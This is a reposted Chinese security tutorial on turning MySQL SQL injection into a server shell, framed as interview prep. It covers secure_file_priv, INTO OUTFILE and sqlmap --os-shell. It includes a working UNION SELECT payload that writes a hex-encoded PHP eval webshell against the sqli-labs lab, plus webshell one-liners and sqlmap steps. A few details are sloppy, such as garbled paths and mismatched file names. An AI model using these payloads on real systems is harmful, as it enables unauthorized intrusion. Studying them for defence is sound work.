前言
暑假快开始了,hvv和找实习的师傅们也多了起来。而我也不例外,尝试投递了不少简历,结果是积累了大量的面试经验。笔者发现大量的hr面试官都喜欢从SQL注入开始询问,所以留心了一下关于SQL注入的问题的频率。结果非常amazing啊!不出意外的是--os-shell名列榜首。
答:getshell是指攻击者通过利用SQL注入获取系统权限的方法,Webshell提权分两种:一是利用outfile函数,另外一种是利用--os-shell;UDF提权通过堆叠注入实现;MOF提权通过"条件竞争"实现
功能介绍
一、 into outfile
web目录具有写权限,能够使用单引号 知道网站绝对路径(根目录,或则是根目录往下的目录都行) secure_file_priv没有具体值(在mysql/my.ini中查看)
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
答:(1)看secure-file-priv参数的值:show global variables like '%secure%';若secure_file_priv 的值默认为NULL,则表示限制mysqld 不允许导入|导出 (2)修改secure_file_priv 的值:我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = ' ' 即可;此时再查看secure_file_priv的值如下已经变为空了,设置完成后我们就可以利用这个函数来写入一句话木马
写入webshell(以sqli-labs第七关为例)
?id=1’)) – -
我们继续测试
?id=3')) and sleep(5) --+
加如此前我们已经通过一些方法获取到了网站的根目录,则可以写入一句话:<?php eval($_REQUEST[123]);?> ;建议进行十六进制转码(不用编码也可以)编码后在最前面加上0X;最后我们将一句话木马进行十六进制编码后写入了根目录下的outfile.php文件中
?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'C:xxxxxxphpStudyWWWoutfile.php' --+
要求为DBA数据库管理员权限(--is-dba:phpstudy搭建的一般为DBA)
php主动转义的功能关闭(PHP的GPC关闭),能使用单双引号(需要单引号路径,不能使用0x编码)
知道网站的绝对路径;文件不能覆盖写入,所以文件必须为不存在
–secure-file-priv
没有值(该函数是能否执行-0s-shell的关键):–secure-file-priv
是mysql5.7+的新参数,用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录
secure_file_priv 为 NULL 时,说明限制mysqld不允许导入或导出
secure_file_priv 为 /tmp 时,说明限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行
secure_file_priv 没有值时,说明不限制mysqld在任意目录的导入导出
sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的)
tmpbeewq.php 用来执行系统命令
tmpuqvgw.php 用来上传文件
secure_file_priv没有具体值(在mysql/my.ini中查看)
magic_quotes_gpc:(PHP magic_quotes_gpc作用范围是:WEB客户服务端;作用时间:请求开始时)
使用Sqlmap实现步骤
1.弱口令登录
2.抓包
3.复制抓包的内容,保存为Alogin.txt(txt文件)到sqlmap目录下
4.启动sqlmap:sqlmap -r OAlogin.txt --os-shell
5.选择语言(ASP,ASPX,JSP,PHP)
6.输入绝对路径
7.写木马文件
7.1:pwd //查看当前路径
7.2:echo '<?php @eval($_POST['a']); ?>'>> 123.php //将木马写入123.php
7.3:cat 123.php //打印123.php文件的内容
8.用webshell连接
路径(dns外带查询)问题
产生路径问题的原因是什么?
答:对于大多数sql注入的写Shell方式而言,网站的绝对的路径都是需要知道的,这里需要知道的原因绝不是因为outfile相对路径无法写shell,而是因为不知道路径,webshell无法连接且通过相对路径的方式写出来的shell大概率是无法执行的,或者是权限不够写
dnslog注入:即,dns带外查询是属于Mysql注入的一种方法,可以通过查询相应的dns解析记录,来获取我们想要的数据
答:一般情况下,在我们无法通过联合查询直接获取数据的情况下,我们只能通过盲注,来一步步的获取数据,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度。
1.文件必须位于服务器主机上
2.你必须具有该FILE权限才能读取该文件。拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的,此属性与secure_file_priv状态相关
3.文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节
参考链接
sqli-labs-master 第七关详解:https://blog.csdn.net/weixin_39464539/article/details/124609786
sqlmap --os-shell执行原理(mysql篇):http://t.zoukankan.com/Xiaoming0-p-13951894.html
sqlmap —— os-shell参数分析:https://blog.csdn.net/qq_43531669/article/details/120630864
作者面包and牛奶,文章转载于FreeBuf.COM
END
• 往期精选
下方点击关注发现更多精彩
原文始发于微信公众号(银河护卫队super):SQL注入Getshell的奇思妙想(上)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论